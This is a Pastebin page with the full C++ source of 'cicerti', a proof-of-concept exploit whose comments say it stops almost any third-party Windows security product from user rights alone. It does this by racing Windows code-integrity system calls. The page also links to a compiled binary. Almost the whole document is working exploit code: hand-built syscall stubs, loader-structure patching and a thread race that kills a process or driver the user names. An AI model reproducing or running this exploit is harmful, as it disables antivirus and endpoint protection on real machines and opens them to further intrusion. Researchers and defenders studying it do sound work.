Advertisement
cakemaker

cicerti.cpp

Dec 25th, 2024 (edited)
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 17.86 KB | Jokes | 0 0
  1. //
  2. // cicerti.cpp
  3. // 2024-12-25, in public domain.
  4. //
  5. // Tool to reliably stop almost any 3rd party Windows security system, via ci!CiValidateFileAsImageType.
  6. // No privileges needed at all, user rights are enough. Shall work on most OS: 10 22H2, 11 24H2, WS2022.
  7. // But: it requires CI policies (e.g. KMCI or UMCI should be enabled).
  8. //
  9. // Download compiled binary: 👉 https://pixeldrain.com/u/59HPXv7r
  10. // 7f40d62d177d757cfd10304ecd79dca755856b56d33adbc7ccb4734c80dcdec2
  11. // Old binary (for tracking only): https://pixeldrain.com/u/oQX2GUfA
  12. // 5d0a0613ad872f037622f9fb16c35d34313967837f2723fda47a80f9311d0d92
  13. //
  14. // Thread: 👉 https://x.com/sixtyvividtails/status/1872042418583064945
  15. //
  16. #include <conio.h>
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <Windows.h>
  20. #pragma warning(push)
  21. #pragma warning(disable: 4005)  // macro redefinition
  22. #include <ntstatus.h>
  23. #pragma warning(pop)
  24.  
  25.  
  26. #ifndef _M_X64
  27. #error unsupported arch
  28. #endif
  29.  
  30. #pragma comment(lib, "ntdll.lib")
  31. #pragma comment(lib, "winmm.lib")
  32.  
  33.  
  34. //----------------------------------------------------------------------------------------------------------------------
  35. // Declarations.
  36. //----------------------------------------------------------------------------------------------------------------------
  37.  
  38. extern "C"
  39. {
  40. extern "C" IMAGE_DOS_HEADER __ImageBase;        // linker-defined
  41.  
  42. #define NtCurrentProcess()                          ((HANDLE)(LONG_PTR)-1)
  43. #define NtCurrentThread()                           ((HANDLE)(LONG_PTR)-2)
  44. #define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH      0x00000002
  45. #define THREAD_CREATE_FLAGS_SKIP_LOADER_INIT        0x00000020
  46. #define CODEINTEGRITY_OPTION_UMCI_ENABLED           0x04
  47. #define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED      0x400
  48. #define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED       0x2000
  49.  
  50. constexpr auto SystemCodeIntegrityInformation =             (enum _SYSTEM_INFORMATION_CLASS)103;
  51. constexpr auto SystemCodeIntegrityCertificateInformation =  (enum _SYSTEM_INFORMATION_CLASS)183;
  52. constexpr auto SystemCodeIntegrityPoliciesFullInformation = (enum _SYSTEM_INFORMATION_CLASS)189;
  53.  
  54.  
  55. typedef NTSTATUS(NTAPI* PUSER_THREAD_START_ROUTINE)(
  56.     _In_ PVOID ThreadParameter
  57.     );
  58.  
  59. typedef struct _SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION
  60. {
  61.     HANDLE ImageFile;
  62.     ULONG Type;
  63. } SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION, * PSYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION;
  64.  
  65. typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION
  66. {
  67.     ULONG Length;
  68.     ULONG CodeIntegrityOptions;
  69. } SYSTEM_CODEINTEGRITY_INFORMATION, * PSYSTEM_CODEINTEGRITY_INFORMATION;
  70.  
  71.  
  72. NTSYSCALLAPI
  73. NTSTATUS
  74. NTAPI
  75. NtQuerySystemInformation(
  76.     _In_ enum _SYSTEM_INFORMATION_CLASS SystemInformationClass,
  77.     _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,
  78.     _In_ ULONG SystemInformationLength,
  79.     _Out_opt_ PULONG ReturnLength
  80.     );
  81.  
  82. NTSYSCALLAPI
  83. NTSTATUS
  84. NTAPI
  85. NtCreateThreadEx(
  86.     _Out_ PHANDLE ThreadHandle,
  87.     _In_ ACCESS_MASK DesiredAccess,
  88.     _In_opt_ struct _OBJECT_ATTRIBUTES* ObjectAttributes,
  89.     _In_ HANDLE ProcessHandle,
  90.     _In_ PUSER_THREAD_START_ROUTINE StartRoutine,
  91.     _In_opt_ PVOID Argument,
  92.     _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
  93.     _In_ SIZE_T ZeroBits,
  94.     _In_ SIZE_T StackSize,
  95.     _In_ SIZE_T MaximumStackSize,
  96.     _In_opt_ struct _PS_ATTRIBUTE_LIST* AttributeList
  97. );
  98.  
  99. } // extern "C"
  100.  
  101.  
  102. //----------------------------------------------------------------------------------------------------------------------
  103. // Our declarations.
  104. //----------------------------------------------------------------------------------------------------------------------
  105.  
  106. static NTSTATUS query_policies(_Out_ bool* hasSiPolicies, _Out_ bool* hasAcPolicies, _Out_ UINT* ciOptions);
  107. static NTSTATUS exploit(PCWSTR targetName);
  108.  
  109. static volatile bool g_shouldStop;
  110. static volatile bool g_inLogoffOrShutdown;
  111.  
  112.  
  113. //----------------------------------------------------------------------------------------------------------------------
  114. // Code: trivial funcs.
  115. //----------------------------------------------------------------------------------------------------------------------
  116.  
  117. static void wait_keypress_if_console_owner()
  118. {
  119.     if (g_inLogoffOrShutdown)
  120.         return;
  121.     ULONG dummy;
  122.     if (GetConsoleMode(GetStdHandle(STD_OUTPUT_HANDLE), &dummy) // success: output is not redirected
  123.         && GetConsoleProcessList(&dummy, 1) <= 1)               // just 1 console process: it's us, we have no cmd
  124.     {
  125.         printf("Press any key to continue...\n");
  126.         Sleep(125);             // human reaction time
  127.         _flushall();
  128.         int c = _getch();
  129.         if (!c || c == 0xE0)    // arrow or function key, read one more char to drain queue
  130.             _getch();
  131.     }
  132. }
  133.  
  134.  
  135. static NTSTATUS query_args(_Out_ WCHAR(&targetName)[0x120])
  136. {
  137.     printf("Please enter process or driver name which you want to stop.\n>");
  138.     targetName[0] = {};
  139.     if (fgetws(targetName, _countof(targetName), stdin) != targetName)
  140.         targetName[0] = {};
  141.     size_t len = wcslen(targetName);
  142.     for (int i = 0; i < 2; ++i)
  143.         if (len >= 1 && (targetName[len-1] == '\n' || targetName[len-1] == '\r'))
  144.             targetName[--len] = {};
  145.     if (!len)
  146.     {
  147.         printf("\n[x] failed to get input\n");
  148.         return STATUS_NO_DATA_DETECTED;
  149.     }
  150.     return STATUS_SUCCESS;
  151. }
  152.  
  153.  
  154. static void init()
  155. {
  156.     SetConsoleCtrlHandler([](ULONG ctrl) -> BOOL
  157.     {
  158.         if (ctrl != CTRL_C_EVENT && ctrl != CTRL_BREAK_EVENT && ctrl != CTRL_CLOSE_EVENT
  159.             && ctrl != CTRL_LOGOFF_EVENT && ctrl != CTRL_SHUTDOWN_EVENT)
  160.         {
  161.             return FALSE;
  162.         }
  163.         g_shouldStop = true;
  164.         if (ctrl == CTRL_LOGOFF_EVENT || ctrl == CTRL_SHUTDOWN_EVENT)
  165.             g_inLogoffOrShutdown = true;
  166.         static ULONG stops;
  167.         if (++stops > 2)
  168.             return false;           // not handled
  169.         return true;                // we've handled Ctrl+C (don't terminate us)
  170.     }, TRUE);
  171. }
  172.  
  173.  
  174. int wmain()
  175. {
  176.     UINT cpuCount = *PUSHORT(0x7FFE036A);
  177.     printf("cicerti.exe v1.0.0.1006 [%08X] - tool to stop stuff.\n"
  178.         "OS info: %u.%u.%u, type %u; cpus: 0x%03X\n\n",
  179.         PIMAGE_NT_HEADERS(PCHAR(&__ImageBase) + __ImageBase.e_lfanew)->FileHeader.TimeDateStamp,
  180.         *PUINT(0x7FFE026C), *PUINT(0x7FFE0270), *PUINT(0x7FFE0260), *PUINT(0x7FFE0264), cpuCount);
  181.  
  182.     bool hasSiPolicies{};
  183.     bool hasAcPolicies{};
  184.     UINT ciOptions{};
  185.     NTSTATUS st = query_policies(&hasSiPolicies, &hasAcPolicies, &ciOptions);
  186.     printf("policy st: %08X, CiOptions: %08X, hasSiPolicies: %u, hasAcPolicies: %u, UMCI: %u, KMCI: %u, IUM: %u\n",
  187.         st, ciOptions, hasSiPolicies, hasAcPolicies, !!(ciOptions & CODEINTEGRITY_OPTION_UMCI_ENABLED),
  188.         !!(ciOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED), !!(ciOptions & CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED));
  189.     bool cpuRich = cpuCount >= 2;
  190.     bool hasUKIP = !!(ciOptions & (CODEINTEGRITY_OPTION_UMCI_ENABLED|CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED))
  191.         || hasSiPolicies || hasAcPolicies;
  192.     if (!cpuRich || !hasUKIP)
  193.     {
  194.         printf("\n"
  195.             "WARNING WARNING WARNING:\n");
  196.         if (!cpuRich)
  197.         {
  198.             printf("[x] not enough CPUs to win a race: we need at least 2; exploit will likely fail.\n");
  199.             printf("Please make sure your system has at least 2 CPU cores.\n");
  200.         }
  201.         if (!hasUKIP)
  202.         {
  203.             // that's not given, as there might be other conditions for success
  204.             printf("[x] ci!g_CiOptions indicate no UMCI, no KMCI, no Si/Ac policies; exploit will likely fail.\n");
  205.             printf("You gotta enable one or another. Quick way: Win+\"Core Isolation\", [v] \"Memory integrity\"\n");
  206.         }
  207.         printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n");
  208.     }
  209.  
  210.     printf("\n");
  211.     init();
  212.     WCHAR targetName[0x120];
  213.     st =  query_args(targetName);
  214.     if (SUCCEEDED(st))
  215.     {
  216.         __try
  217.         {
  218.             st = exploit(targetName);
  219.         }
  220.         __except([](NTSTATUS ecode)
  221.         {
  222.             printf("[x] unexpected exception: %08X\n", ecode);
  223.             Sleep(3000);
  224.             return EXCEPTION_CONTINUE_SEARCH;
  225.         }(GetExceptionCode()))
  226.         { }
  227.     }
  228.  
  229.     printf("\nDone. Status: %08X.\n", st);
  230.     wait_keypress_if_console_owner();
  231.     return st;
  232. }
  233.  
  234.  
  235. //----------------------------------------------------------------------------------------------------------------------
  236. // Code: important funcs.
  237. //----------------------------------------------------------------------------------------------------------------------
  238.  
  239. static NTSTATUS query_policies(_Out_ bool* hasSiPolicies, _Out_ bool* hasAcPolicies, _Out_ UINT* ciOptions)
  240. {
  241.     ULONG retlen = 0x666;
  242.     NTSTATUS st = NtQuerySystemInformation(SystemCodeIntegrityPoliciesFullInformation, {}, 0, &retlen);
  243.     printf("query: %08X for SystemCodeIntegrityPoliciesFullInformation, retlen: %04X\n", st, retlen);
  244.     bool smolBuf = st == STATUS_BUFFER_OVERFLOW || st == STATUS_BUFFER_TOO_SMALL || st == STATUS_INFO_LENGTH_MISMATCH;
  245.     *hasSiPolicies = (SUCCEEDED(st) && retlen) || (FAILED(st) && smolBuf);
  246.     if (FAILED(st) && smolBuf && retlen)
  247.         st = STATUS_SUCCESS;    // basically OS has some policies, we just haven't provided buffer for them
  248.  
  249.     SYSTEM_CODEINTEGRITY_INFORMATION info{sizeof(info)};
  250.     NTSTATUS st2 = NtQuerySystemInformation(SystemCodeIntegrityInformation, &info, sizeof(info), &retlen);
  251.     printf("query: %08X for SystemCodeIntegrityInformation, CiOptions: %08X, retlen: %04X\n",
  252.         st2, info.CodeIntegrityOptions, retlen);
  253.     *hasAcPolicies = SUCCEEDED(st2) && (info.CodeIntegrityOptions & 0x20000);    // ci!CiQueryInformation
  254.     *ciOptions = SUCCEEDED(st2)? info.CodeIntegrityOptions: 0;
  255.  
  256.     return FAILED(st)? st: st2;
  257. }
  258.  
  259.  
  260. #pragma comment(linker, "/merge:.textASM=.text")
  261. #pragma comment(linker, "/alternatename:?asm_func@@YAJZZ=?asm_code@@3QBEB")
  262. #pragma comment(linker, "/include:?asm_code@@3QBEB")
  263. #pragma const_seg(push, ".textASM")
  264. // Don't wanna bother with masm; anyone ought to mentally decode these opcodes anyway.
  265. // BEWARE: disable cfguard for funcs you call this from.
  266. extern const unsigned char alignas(0x10) asm_code[] =
  267. {
  268.     0x33, 0xC0,             // xor eax, eax
  269.     0x65, 0x8B, 0x00,       // mov eax, gs:[rax]
  270.     0x4C, 0x8B, 0xD1,       // mov r10, rcx
  271.     0x48, 0x0F, 0x05,       // syscall  (with REX)
  272.     0x66, 0x90,             // nop
  273.     0xC3,                   // ret
  274. };
  275. #pragma const_seg(pop)
  276. NTSTATUS asm_func(...);
  277.  
  278.  
  279.  
  280. DECLSPEC_NOINLINE DECLSPEC_GUARDNOCF
  281. static NTSTATUS prepare_tape(UINT64 entry, UINT offset, _Out_ UINT64* tape)
  282. {
  283.     UINT64 data[0x200]{};
  284.     data[0x10] = 0x30;
  285.     data[0x10 + 2] = entry;
  286.     data[0x10 + 3] = 0x40;
  287.     __writegsdword(0, offset);
  288.     NTSTATUS st{};
  289.     __try
  290.     {
  291.         st = asm_func(data, 1, data + 0x10, data + 0x20, 1, 0, 0, 0x200, 4, data + 0x30, asm_code);
  292.     }
  293.     __except (EXCEPTION_EXECUTE_HANDLER)
  294.     {
  295.         st = GetExceptionCode() | 0x8000'0000;
  296.    }
  297.    if (FAILED(st))
  298.        return st;
  299.    UINT64 tapeLoc = data[0];
  300.    if ((tapeLoc & 3) || ((tapeLoc & 0x3FF) == 0) || tapeLoc >= (1u << 26))
  301.        st = STATUS_FAIL_CHECK;
  302.    *tape = tapeLoc;
  303.    return st;
  304. }
  305.  
  306.  
  307. DECLSPEC_NOINLINE DECLSPEC_GUARDNOCF
  308. static NTSTATUS exploit(PCWSTR targetName)
  309. {
  310.    // part0
  311.    __writegsqword(0x2D0, (UINT64)targetName);
  312.    UINT offset = 0x30;
  313.    UINT64 peb = __readgsqword(2 * offset);
  314.    HANDLE heap = *(HANDLE*)(peb + offset);
  315.    UINT64 ldr = *(UINT64*)(peb + offset/2);    // get ldr
  316.    ldr = *(UINT64*)(ldr + offset/2);           // once more to get entry
  317.    ldr = **********(UINT64**********)ldr;      // 10-star programming
  318.    constexpr int kLdrOffset = 0x48;
  319.    for (int fails = 0;; ldr = *PUINT64(ldr + 8))
  320.    {
  321.        __try
  322.        {
  323.            if (*PUSHORT(ldr + kLdrOffset) != 0x3A || *PUSHORT(ldr + kLdrOffset + 0x10) - 0x10u > 8)
  324.                continue;
  325.            PVOID something = *(PVOID*)(ldr + kLdrOffset + offset/2);
  326.            UINT64 data = 5 * ((*PUINT64(something) + *PUINT64(PCHAR(something) + 9)) | 0x2121'2121'2121'2121);
  327.             if (data != 0x2323'22FA'FB49'ED2B)
  328.                continue;
  329.            something = *(PVOID*)(ldr + kLdrOffset + 8);
  330.            (PUINT64(something))[-1] = data - 2506009908420996303;
  331.        }
  332.        __except (EXCEPTION_EXECUTE_HANDLER)
  333.        {
  334.            if (fails++ > 99)
  335.            {
  336.                printf("[x] too many fails in part0\n");
  337.                return STATUS_BAD_BINDINGS;
  338.            }
  339.            continue;
  340.        }
  341.        break;
  342.    }
  343.    UINT64 entry = ldr + kLdrOffset;
  344.    *PUINT64(entry + 0) += 0x80008;
  345.    *PUINT64(entry + 8) -= 8;
  346.  
  347.    // part1
  348.    UINT64 tape{};
  349.    NTSTATUS st{};
  350.    for (int i = 0; i < 0x20; ++i, ++offset)
  351.    {
  352.        st = prepare_tape(entry, offset, &tape);
  353.        if (SUCCEEDED(st))
  354.            break;
  355.    }
  356.    if (!tape)
  357.    {
  358.        printf("[x] fail part 1.0: %08X\n", st);
  359.        return STATUS_ILL_FORMED_SERVICE_ENTRY;
  360.    }
  361.    UINT64 tape0 = tape;
  362.  
  363.    // part2
  364.    SetThreadAffinityMask(NtCurrentThread(), 1);
  365.    HANDLE process = NtCurrentProcess();
  366.    UINT64 subtarget{};
  367.    __writegsdword(0, offset + 0x17);
  368.    st = asm_func(&tape, 4, subtarget, subtarget, 2, 0x08000000, tape, entry, targetName, 1, &process);
  369.    if (FAILED(st))
  370.        printf("[x] fail part 2.0: %08X\n", st);
  371.    else
  372.    {
  373.        __writegsdword(0, offset - 0x0B);
  374.        UINT64 tapeBase{};
  375.        st = asm_func(tape, process, &tapeBase, 0, 0, tapeBase, &subtarget, 1, 0, 2, 0x10, &entry);
  376.        if (FAILED(st))
  377.            printf("[x] fail part 2.1: %08X\n", st);
  378.        else
  379.        {
  380.            __writegsdword(0, offset - 0x09);
  381.            tape = tapeBase;
  382.            st = asm_func(process, tape, 0x18, &entry + 0x28, subtarget, &process, 4, &offset);
  383.            if (FAILED(st))
  384.                printf("[x] fail part 2.2: %08X\n", st);
  385.        }
  386.    }
  387.    if (FAILED(st))
  388.        return st;
  389.  
  390.    // part3
  391.    printf("testing...\n");
  392.    __writegsdword(0, offset + 3);
  393.    UINT64 data[2]{tape0};
  394.    NTSTATUS st0 = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &data[1], 4, 0x1000);
  395.    data[1] = 1;
  396.    NTSTATUS st1 = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &data[1], 4, 0x1000);
  397.    data[1] = 2;
  398.    NTSTATUS st2 = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &data[1], 4, 0x1000);
  399.    data[1] = 3;
  400.    NTSTATUS st3 = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &data[1], 4, 0x1000);
  401.    printf("test status codes: 0: %08X, 1: %08X, 2: %08X, 3: %08X\n", st0, st1, st2, st3);
  402.  
  403.    // part4
  404.    printf("making thread...\n");
  405.    HANDLE thread;
  406.    st = NtCreateThreadEx(&thread, THREAD_TERMINATE|THREAD_SUSPEND_RESUME|SYNCHRONIZE, {}, NtCurrentProcess(),
  407.        [](PVOID ptr) -> NTSTATUS
  408.    {
  409.        SetThreadAffinityMask(NtCurrentThread(), 4);
  410.        UINT offset = (UINT)(SIZE_T)ptr & 0xFFF;
  411.        UINT64 data = (UINT64)(SIZE_T)ptr - offset;
  412.        for (int i = 0;; ++i)
  413.        {
  414.            int pauseSelect = (__rdtsc() + ~i) & 0x3F;
  415.            int pauseCount = (pauseSelect < 0x10)? 0: (pauseSelect < 0x24)? 0x48 + (__rdtsc() & 7):
  416.                (pauseSelect < 0x38)? 0xC5 + (__rdtsc() & 0x3F): 0x180 + (__rdtsc() & 0x7F);
  417.            for (int j = 0; j < pauseCount; ++j)
  418.                _mm_pause();
  419.            if ((i & 0x3FF) == 0)
  420.            {
  421.                SetThreadAffinityMask(NtCurrentThread(), (i & 0x400)? 2: 4);
  422.                __writegsdword(0, offset);
  423.            }
  424.            NTSTATUS st = asm_func(NtCurrentProcess(), data, 0x200, 0x48);
  425.        }
  426.    }, (PVOID)(SIZE_T)(tape + offset - 0x09),
  427.        THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH|THREAD_CREATE_FLAGS_SKIP_LOADER_INIT, 0, 4 * 0x1000, 0x10 * 0x1000, {});
  428.    if (FAILED(st))
  429.        return st;
  430.    
  431.    // part5
  432.    printf("trying to kill target...\n");
  433.    timeBeginPeriod(1);             // important for for faster stop on win11 24H2
  434.    UINT tick0 = GetTickCount();
  435.    UINT ticksSpentPrev = 0;
  436.    bool tooLongOutputDone = false;
  437.    for (int i = 0;; ++i)
  438.    {
  439.        if ((i & 0x7FF) == 0)
  440.        {
  441.            UINT ticksSpent = GetTickCount() - tick0;
  442.            if (ticksSpent > ticksSpentPrev + 2500)
  443.            {
  444.                ticksSpentPrev = ticksSpent;
  445.                printf("iter %07X: spent %02u/60 seconds so far...\n", i, ticksSpent / 1000);
  446.            }
  447.            if ((ticksSpent > 15'000 && ticksSpent < 19'000) || (ticksSpent > 27'000 && ticksSpent < 36'000)
  448.                || (ticksSpent > 43'000 && ticksSpent < 47'000) || (ticksSpent > 52'000 && ticksSpent < 55'000))
  449.            {
  450.                SuspendThread(thread);
  451.                Sleep(0);
  452.                ResumeThread(thread);
  453.            }
  454.            if (ticksSpent > 25'000 && !tooLongOutputDone)
  455.             {
  456.                 tooLongOutputDone = true;
  457.                 printf("[!] can't seem to catch the drift, please try to move this window or something...\n");
  458.             }
  459.             if (ticksSpent > 60'000)
  460.                break;
  461.            if (g_shouldStop)
  462.                break;
  463.            __writegsdword(0, offset + 3);
  464.        }
  465.        UINT type = 2 * ((i >> 10) & 1);
  466.        UINT64 data[2]{tape0, type};
  467.        st = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &type, 4, 0x1000);
  468.    }
  469.    if (g_shouldStop)
  470.    {
  471.        printf("[!] cancellation requested\n");
  472.        st = STATUS_CANCELLED;
  473.    }
  474.    else
  475.    {
  476.        printf("[x] failed to kill target after 60+ seconds; "
  477.            "either unlucky run, or OS doesn't KMCI/UMCI policies enabled\n");
  478.        st = STATUS_RETRY;
  479.    }
  480.    timeEndPeriod(1);
  481.    TerminateThread(thread, STATUS_TIMEOUT);
  482.    CloseHandle(thread);
  483.    return st;
  484. }
  485.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement